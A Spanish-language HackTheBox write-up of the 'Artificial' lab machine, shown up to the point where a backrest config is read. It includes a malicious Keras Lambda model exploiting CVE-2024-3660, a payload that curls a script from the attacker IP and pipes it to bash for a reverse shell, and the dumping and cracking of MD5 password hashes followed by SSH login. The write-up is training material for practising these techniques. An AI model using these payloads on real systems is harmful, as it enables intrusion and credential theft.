This page looks best with JavaScript enabled

HackTheBox - Artificial

 •  ✍️ sckull

En Artificial permite la ejecucion de modelos de Inteligencia Artificial con TensorFlow, vulnerable la cual permitio el acceso inicial. La base de datos contiene credenciales para un primer usuario. Se descubrio un backup de backrest con credenciales de acceso, se realizo Local Port Forwarding para acceder a su interfaz web. Con la creacion de un repositorio se logro escalar privilegios.

Nombre Artificial
OS

Linux

Puntos 20
Dificultad Easy
Fecha de Salida 2025-06-21
IP None
Maker

FisMatHack

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [411, 429, 1314, 709, 267, 94, 70, 21, 5, 35],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.95 scan initiated Sat Jun 21 13:12:17 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.10.11.74
Nmap scan report for 10.10.11.74
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 21 13:12:33 2025 -- 1 IP address (1 host up) scanned in 15.68 seconds

Web Site

El sitio web nos redirige al dominio artificial.htb el cual agregamos al archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ curl -sI 10.10.11.74
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 26 Jun 2025 23:13:52 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://artificial.htb/

El sitio presenta una tematica de inteligencia artificial.

image

Se muestra un formulario de login y registro de usuarios.

image
image

Directory Brute Forcing

feroxbuster muestra recursos del sitio como paginas ya conocidas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
❯ feroxbuster -u http://artificial.htb/ -w $MD
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://artificial.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       28l       60w      857c http://artificial.htb/login
200      GET       33l       65w      952c http://artificial.htb/register
200      GET       33l       73w      999c http://artificial.htb/static/js/scripts.js
200      GET      313l      666w     6610c http://artificial.htb/static/css/styles.css
200      GET      161l      472w     5442c http://artificial.htb/
302      GET        5l       22w      189c http://artificial.htb/logout => http://artificial.htb/
302      GET        5l       22w      199c http://artificial.htb/dashboard => http://artificial.htb/login

Web - AI Model

Realizamos el registro de un usuario y tras el ingreso observamos un ‘formulario’ para subir modelos de inteligencia artificial.

image

Tambien se muestra un archivo de librerias requeridas para crear modelos dentro de un entorno de Docker.

1
tensorflow-cpu==2.13.1
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
  apt-get install -y curl && \
  curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
  rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]

CVE-2024-3660

Encontramos que la version de Tensorflow es vulnerable Insecure Serialization por lo que es posible crear un modelo con codigo maligno para la ejecucion de comandos.

Utilizamos el entorno de docker “utilizado” por la maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PS C:\Users\htb\artificial> docker build .
[+] Building 8.0s (8/8) FINISHED                                                                                                                                   docker:desktop-linux
 => [internal] load build definition from Dockerfile                                                                                                                               0.0s
 => => transferring dockerfile: 506B                                                                                                                                               0.0s
 => [internal] load metadata for docker.io/library/python:3.8-slim                                                                                                                 0.3s
 => [internal] load .dockerignore                                                                                                                                                  0.0s
 => => transferring context: 2B                                                                                                                                                    0.0s
 => [1/4] FROM docker.io/library/python:3.8-slim@sha256:1d52838af602b4b5a831beb13a0e4d073280665ea7be7f69ce2382f29c5a613f                                                           0.0s
 => => resolve docker.io/library/python:3.8-slim@sha256:1d52838af602b4b5a831beb13a0e4d073280665ea7be7f69ce2382f29c5a613f                                                           0.0s
 => CACHED [2/4] WORKDIR /code                                                                                                                                                     0.0s
 => CACHED [3/4] RUN apt-get update &&     apt-get install -y curl &&     curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe53  0.0s
 => CACHED [4/4] RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl                                                                  0.0s
 => exporting to image                                                                                                                                                             7.6s
 => => exporting layers                                                                                                                                                            0.0s
 => => exporting manifest sha256:fb24fb14f02184cb179c15f9443ae3d0d6bb780da1d2e671e687e1191c69319b                                                                                  0.0s
 => => exporting config sha256:a89c80eced51737e6abed9e44293e856de171820c88d989cd383d7c360632155                                                                                    0.0s
 => => exporting attestation manifest sha256:176fe46d5429faf0b4cbbf62d11b8926093027ce8993152198d0f7a8ade705f8                                                                      0.0s
 => => exporting manifest list sha256:a421ecb6d1fd0f7ae628833f7f2ceece7051b9f3c5e424874c1e3d39117362c8                                                                             0.0s
 => => naming to moby-dangling@sha256:a421ecb6d1fd0f7ae628833f7f2ceece7051b9f3c5e424874c1e3d39117362c8                                                                             0.0s
 => => unpacking to moby-dangling@sha256:a421ecb6d1fd0f7ae628833f7f2ceece7051b9f3c5e424874c1e3d39117362c8                                                                          7.5s

View build details: docker-desktop://dashboard/build/desktop-linux/desktop-linux/bous59li92neei59i4f8e9bga
PS C:\Users\htb\artificial>

Ejecutamos la imagen especificando directorio actual para generar el modelo Poc.

1
2
3
4
5
6
7
PS C:\Users\htb\artificial> docker run --rm -it -v .:/code a421ecb6d1fd
root@cd4ccdbab035:/code# ls -lah
total 492K
drwxrwxrwx 1 root root 4.0K Jun 26 23:20 .
drwxr-xr-x 1 root root 4.0K Jun 26 23:48 ..
-rwxrwxrwx 1 root root  467 Jun 21 19:25 Dockerfile
root@cd4ccdbab035:/code#

El PoC tiene una solicitud http a nuestra IP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import tensorflow as tf

def exploit(x):
    import os
    os.system("curl --max-time 1 10.10.14.94")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("curl.h5")

Se genero el archivo/modelo curl.h5 donde se muestra que se intento realizar una conexion con curl.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
root@cd4ccdbab035:/code# python file_model.py
2025-06-26 23:51:12.802174: I tensorflow/core/util/port.cc:110] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.
2025-06-26 23:51:12.828887: I tensorflow/core/platform/cpu_feature_guard.cc:182] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: AVX2 AVX512F AVX512_VNNI AVX512_BF16 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
curl: (28) Connection timed out after 1001 milliseconds
/usr/local/lib/python3.8/site-packages/keras/src/engine/training.py:3000: UserWarning: You are saving your model as an HDF5 file via `model.save()`. This file format is considered legacy. We recommend using instead the native Keras format, e.g. `model.save('my_model.keras')`.
  saving_api.save_model(
root@cd4ccdbab035:/code# ls -lah curl.h5
-rw-r--r-- 1 root root 9.8K Jun 26 23:51 curl.h5
root@cd4ccdbab035:/code#

Cargamos el modelo al sitio, se muestra listado.

image

Al dar clic a View Predictions el modelo se ejecuta.

image

Se muestran solicitudes por parte de la maquina a nuestra direccion IP.

1
2
3
4
❯ httphere .
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.74 - - [21/Jun/2025 13:51:34] "GET / HTTP/1.1" 200 -
10.10.11.74 - - [21/Jun/2025 13:51:34] "GET / HTTP/1.1" 200 -

User - app

Ejecutamos shells y especificamos en el PoC la ejecucion de una shell inversa.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import tensorflow as tf

def exploit(x):
    import os
    os.system("curl --max-time 1 10.10.14.94:8000/10.10.14.94:1335 > f; bash f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("shell.h5")

Tras subir y ejecutar el modelo logramos el acceso como app.

1
2
3
4
5
6
7
8
9
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.94] from artificial.htb [10.10.11.74] 44112
/bin/sh: 0: can't access tty; job control turned off
$ whoami
app
$ pwd
/home/app/app
$

Observamos el codigo de la aplicacion del sitio en el directorio del usuario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ pwd
/home/app/app
$ ls -lah
total 40K
drwxrwxr-x 7 app app 4.0K Jun 26 23:56 .
drwxr-x--- 6 app app 4.0K Jun  9 10:52 ..
-rw-rw-r-- 1 app app 7.7K Jun  9 13:54 app.py
-rw-r--r-- 1 app app 3.8K Jun 26 23:57 f
drwxr-xr-x 2 app app 4.0K Jun 26 23:57 instance
drwxrwxr-x 2 app app 4.0K Jun 26 23:57 models
drwxr-xr-x 2 app app 4.0K Jun  9 13:55 __pycache__
drwxrwxr-x 4 app app 4.0K Jun  9 13:57 static
drwxrwxr-x 2 app app 4.0K Jun 18 13:21 templates
$

Se muestra el uso de SQLite como base de datos.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
from flask import Flask, render_template, request, redirect, url_for, session, send_file, flash
from flask_sqlalchemy import SQLAlchemy
from werkzeug.utils import secure_filename
import os
import tensorflow as tf
import hashlib
import uuid
import numpy as np
import io
from contextlib import redirect_stdout
import hashlib

app = Flask(__name__)
app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['UPLOAD_FOLDER'] = 'models'

db = SQLAlchemy(app)

MODEL_FOLDER = 'models'
os.makedirs(MODEL_FOLDER, exist_ok=True)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(100), unique=True, nullable=False)
    email = db.Column(db.String(120), unique=True, nullable=False)
    password = db.Column(db.String(200), nullable=False)
    models = db.relationship('Model', backref='owner', lazy=True)

class Model(db.Model):
    id = db.Column(db.String(36), primary_key=True)
    filename = db.Column(db.String(120), nullable=False)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'h5'

def hash(password):
 password = password.encode()
 hash = hashlib.md5(password).hexdigest()
 return hash

@app.route('/')
def index():
    if ('user_id' in session):
        username = session['username']
        if (User.query.filter_by(username=username).first()):
            return redirect(url_for('dashboard'))

    return render_template('index.html')

@app.route('/static/requirements.txt')
def download_txt():
    try:
        pdf_path = './static/requirements.txt'  # Adjust path as needed
        
        return send_file(
            pdf_path,
            as_attachment=True,
            download_name='requirements.txt',  # Name for downloaded file
            mimetype='application/text'
        )
    except FileNotFoundError:
        return "requirements file not found", 404


@app.route('/static/Dockerfile')
def download_dockerfile():
    try:
        pdf_path = './static/Dockerfile'  # Adjust path as needed

        return send_file(
            pdf_path,
            as_attachment=True,
            download_name='Dockerfile',  # Name for downloaded file
            mimetype='application/text'
        )
    except FileNotFoundError:
        return "Dockerfile file not found", 404

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        email = request.form['email']
        password = request.form['password']
        hashed_password = hash(password)
        
        existing_user = User.query.filter((User.username == username) | (User.email == email)).first()
        
        if existing_user:
            flash('Username or email already exists. Please choose another.', 'error')
            return render_template('register.html')
        
        new_user = User(username=username, email=email, password=hashed_password)

        try:
            db.session.add(new_user)
            db.session.commit()
            return redirect(url_for('login'))
        except Exception as e:
            db.session.rollback()
            flash('An error occurred. Please try again.', 'error')

    return render_template('register.html')


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        email = request.form['email']
        password = request.form['password']
        user = User.query.filter_by(email=email).first()

        if user and user.password == hash(password):
            session['user_id'] = user.id
            session['username'] = user.username
            return redirect(url_for('dashboard'))
        else:
          pass

    return render_template('login.html')

@app.route('/dashboard')
def dashboard():
    if ('user_id' in session):
        username = session['username']
        if not (User.query.filter_by(username=username).first()):
            return redirect(url_for('login'))
    else:
        return redirect(url_for('login'))

    user_models = Model.query.filter_by(user_id=session['user_id']).all()
    return render_template('dashboard.html', models=user_models, username=username)


@app.route('/upload_model', methods=['POST'])
def upload_model():
    if ('user_id' in session):
        username = session['username']
        if not (User.query.filter_by(username=username).first()):
            return redirect(url_for('login'))
    else:
        return redirect(url_for('login'))

    if 'model_file' not in request.files:
        return redirect(url_for('dashboard'))

    file = request.files['model_file']

    if file.filename == '':
        return redirect(url_for('dashboard'))

    if file and allowed_file(file.filename):
        model_id = str(uuid.uuid4())
        filename = f"{model_id}.h5"
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)

        try:
            file.save(file_path)

            new_model = Model(id=model_id, filename=filename, user_id=session['user_id'])
            db.session.add(new_model)
            db.session.commit()

        except Exception as e:
            if os.path.exists(file_path):
                os.remove(file_path)
    else:
       pass

    return redirect(url_for('dashboard'))

@app.route('/delete_model/<model_id>', methods=['GET'])
def delete_model(model_id):
    if ('user_id' in session):
        username = session['username']
        if not (User.query.filter_by(username=username).first()):
            return redirect(url_for('login'))
    else:
        return redirect(url_for('login'))
 
    model = Model.query.filter_by(id=model_id, user_id=session['user_id']).first()

    if model:
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], model.filename)
        if os.path.exists(file_path):
            os.remove(file_path)
        db.session.delete(model)
        db.session.commit()
    else:
       pass

    return redirect(url_for('dashboard'))


@app.route('/run_model/<model_id>')
def run_model(model_id):
    if ('user_id' in session):
        username = session['username']
        if not (User.query.filter_by(username=username).first()):
            return redirect(url_for('login'))
    else:
        return redirect(url_for('login'))

    model_path = os.path.join(app.config['UPLOAD_FOLDER'], f'{model_id}.h5')

    if not os.path.exists(model_path):
        return redirect(url_for('dashboard'))

    try:
        model = tf.keras.models.load_model(model_path)

        hours = np.arange(0, 24 * 7).reshape(-1, 1)
        predictions = model.predict(hours)

        days_of_week = ["Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday"]
        daily_predictions = {f"{days_of_week[i // 24]} - Hour {i % 24}": round(predictions[i][0], 2) for i in range(len(predictions))}

        max_day = max(daily_predictions, key=daily_predictions.get)
        max_prediction = daily_predictions[max_day]

        model_summary = []
        model.summary(print_fn=lambda x: model_summary.append(x))
        model_summary = "\n".join(model_summary)

        return render_template(
            'run_model.html',
            model_summary=model_summary,
            daily_predictions=daily_predictions,
            max_day=max_day,
            max_prediction=max_prediction
        )
    except Exception as e:
        print(e)
        return redirect(url_for('dashboard'))



@app.route('/logout')
def logout():
    session.pop('user_id', None)
    session.pop('username', None)
    return redirect(url_for('index'))

if __name__ == '__main__':
    with app.app_context():
        db.create_all()
    app.run(host='127.0.0.1')

SQLite Database

Dentro encontramos usuarios y hashes de contrasena.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ ls -lah instance
total 32K
drwxr-xr-x 2 app app 4.0K Jun 21 19:58 .
drwxrwxr-x 7 app app 4.0K Jun 21 20:00 ..
-rw-r--r-- 1 app app  24K Jun 21 19:58 users.db
$ cd instance
$ which sqlite
$ which sqlite3
/usr/bin/sqlite3
$ sqlite3
.open users.db
.tables
model  user 
.schema user
CREATE TABLE user (
	id INTEGER NOT NULL, 
	username VARCHAR(100) NOT NULL, 
	email VARCHAR(120) NOT NULL, 
	password VARCHAR(200) NOT NULL, 
	PRIMARY KEY (id), 
	UNIQUE (username), 
	UNIQUE (email)
);
select username,password from user;
gael|c99175974b6e192936d97224638a34f8
mark|0f3d8c76530022670f1c6029eed09ccb
robert|b606c5f5136170f15444251665638b36
royer|bc25b1f80f544c0ab451c02a3dca9fc6
mary|bf041041e57f1aff3be7ea1abd6129d0
sckull|9e8694e99216221dad8f6fd183904504

Hashes

crackstation muestra en texto plano el valor de dos hashes de usuarios.

Hash Type Result
c99175974b6e192936d97224638a34f8 md5 mattp005numbertwo
0f3d8c76530022670f1c6029eed09ccb Unknown Not found.
b606c5f5136170f15444251665638b36 Unknown Not found.
bc25b1f80f544c0ab451c02a3dca9fc6 md5 marwinnarak043414036
bf041041e57f1aff3be7ea1abd6129d0 Unknown Not found.
9e8694e99216221dad8f6fd183904504 md5 sckull

Check Password

Dentro de la pagina encontramos a gael como otro de los usuarios.

1
2
3
4
5
6
7
$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
gael:x:1000:1000:gael:/home/gael:/bin/bash
app:x:1001:1001:,,,:/home/app:/bin/bash
$

Confirmamos que una de las contrasenas permite el acceso a este usuario por SSH.

1
2
3
4
❯ netexec ssh 10.10.11.74 -u gael -p mattp005numbertwo
SSH         10.10.11.74     22     10.10.11.74      [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.13
SSH         10.10.11.74     22     10.10.11.74      [+] gael:mattp005numbertwo  Linux - Shell access!

User - Gael

Logramos el acceso por SSH y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
❯ ssh gael@artificial.htb
The authenticity of host 'artificial.htb (10.10.11.74)' can't be established.
ED25519 key fingerprint is SHA256:RfqGfdDw0WXbAPIqwri7LU4OspmhEFYPijXhBj6ceHs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'artificial.htb' (ED25519) to the list of known hosts.
gael@artificial.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat 21 Jun 2025 08:03:17 PM UTC

  System load:           0.14
  Usage of /:            69.8% of 7.53GB
  Memory usage:          32%
  Swap usage:            0%
  Processes:             241
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.74
  IPv6 address for eth0: dead:beef::250:56ff:fe95:358f


Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Jun 21 20:03:37 2025 from 10.10.14.94
gael@artificial:~$ whoami;id;pwd
gael
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
/home/gael
gael@artificial:~$ ls
user.txt
gael@artificial:~$ cat user.txt 
60141f128ab87f469c9766698a9f59eb
gael@artificial:~$ 

Gael pertenece al grupo sysadm el cual tiene acceso a un archivo de backup.

1
2
3
4
5
6
7
8
gael@artificial:~$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
gael@artificial:~$ find / -group sysadm 2>/dev/null
/var/backups/backrest_backup.tar.gz
gael@artificial:~$ file /var/backups/backrest_backup.tar.gz
/var/backups/backrest_backup.tar.gz: POSIX tar archive (GNU)
gael@artificial:~$ cd /dev/shm
gael@artificial:/dev/shm$

Backrest Backup

Tras extraer el contenido del backup se muestra configuracion y logs de backrest.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
gael@artificial:/dev/shm$ tar -xvf /var/backups/backrest_backup.tar.gz
backrest/
backrest/restic
backrest/oplog.sqlite-wal
backrest/oplog.sqlite-shm
backrest/.config/
backrest/.config/backrest/
backrest/.config/backrest/config.json
backrest/oplog.sqlite.lock
backrest/backrest
backrest/tasklogs/
backrest/tasklogs/logs.sqlite-shm
backrest/tasklogs/.inprogress/
backrest/tasklogs/logs.sqlite-wal
backrest/tasklogs/logs.sqlite
backrest/oplog.sqlite
backrest/jwt-secret
backrest/processlogs/
backrest/processlogs/backrest.log
backrest/install.sh
gael@artificial:/dev/shm$

El archivo de instalacion muestra la ejecucion de backrest por el puerto 9898.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
gael@artificial:/dev/shm/backrest$ cat install.sh 
#! /bin/bash

cd "$(dirname "$0")" # cd to the directory of this script

install_or_update_unix() {
  if systemctl is-active --quiet backrest; then
    sudo systemctl stop backrest
    echo "Paused backrest for update"
  fi
  install_unix
}

install_unix() {
  echo "Installing backrest to /usr/local/bin"
  sudo mkdir -p /usr/local/bin

  sudo cp $(ls -1 backrest | head -n 1) /usr/local/bin
}

create_systemd_service() {
  if [ ! -d /etc/systemd/system ]; then
    echo "Systemd not found. This script is only for systemd based systems."
    exit 1
  fi

  if [ -f /etc/systemd/system/backrest.service ]; then
    echo "Systemd unit already exists. Skipping creation."
    return 0
  fi

  echo "Creating systemd service at /etc/systemd/system/backrest.service"

  sudo tee /etc/systemd/system/backrest.service > /dev/null <<- EOM
[Unit]
Description=Backrest Service
After=network.target

[Service]
Type=simple
User=$(whoami)
Group=$(whoami)
ExecStart=/usr/local/bin/backrest
Environment="BACKREST_PORT=127.0.0.1:9898"
Environment="BACKREST_CONFIG=/opt/backrest/.config/backrest/config.json"
Environment="BACKREST_DATA=/opt/backrest"
Environment="BACKREST_RESTIC_COMMAND=/opt/backrest/restic"

[Install]
WantedBy=multi-user.target
EOM

  echo "Reloading systemd daemon"
  sudo systemctl daemon-reload
}

create_launchd_plist() {
  echo "Creating launchd plist at /Library/LaunchAgents/com.backrest.plist"

  sudo tee /Library/LaunchAgents/com.backrest.plist > /dev/null <<- EOM
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.backrest</string>
    <key>ProgramArguments</key>
    <array>
    <string>/usr/local/bin/backrest</string>
    </array>
    <key>KeepAlive</key>
    <true/>
    <key>EnvironmentVariables</key>
    <dict>
        <key>PATH</key>
        <string>/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin</string>
        <key>BACKREST_PORT</key>
        <string>127.0.0.1:9898</string>
    </dict>
</dict>
</plist>
EOM
}

enable_launchd_plist() {
  echo "Trying to unload any previous version of com.backrest.plist"
  launchctl unload /Library/LaunchAgents/com.backrest.plist || true
  echo "Loading com.backrest.plist"
  launchctl load -w /Library/LaunchAgents/com.backrest.plist
}

OS=$(uname -s)
if [ "$OS" = "Darwin" ]; then
  echo "Installing on Darwin"
  install_unix
  create_launchd_plist
  enable_launchd_plist
  sudo xattr -d com.apple.quarantine /usr/local/bin/backrest # remove quarantine flag
elif [ "$OS" = "Linux" ]; then
  echo "Installing on Linux"
  install_or_update_unix
  create_systemd_service
  echo "Enabling systemd service backrest.service"
  sudo systemctl enable backrest
  sudo systemctl start backrest
else
  echo "Unknown OS: $OS. This script only supports Darwin and Linux."
  exit 1
fi

echo "Logs are available at ~/.local/share/backrest/processlogs/backrest.log"
echo "Access backrest WebUI at http://localhost:9898"
gael@artificial:/dev/shm/backrest$

El mismo puerto esta a la escucha localmente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
gael@artificial:~$ netstat -ntpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9898          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
gael@artificial:~$

El servicio es ejecutado por le usuario root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
gael@artificial:/dev/shm/backrest$ cat /etc/systemd/system/backrest.service
[Unit]
Description=Backrest Service
After=network.target

[Service]
Type=simple
User=root
Group=root
ExecStart=/usr/local/bin/backrest
Environment="BACKREST_PORT=127.0.0.1:9898"
Environment="BACKREST_CONFIG=/opt/backrest/.config/backrest/config.json"
Environment="BACKREST_DATA=/opt/backrest"
Environment="BACKREST_RESTIC_COMMAND=/opt/backrest/restic"

[Install]
WantedBy=multi-user.target
gael@artificial:/dev/shm/backrest$

Se observa el usuario y el hash de contrasena de este dentro del archivo de configuracion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
gael@artificial:/dev/shm/backrest$ cat .config/backrest/config.json 
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}
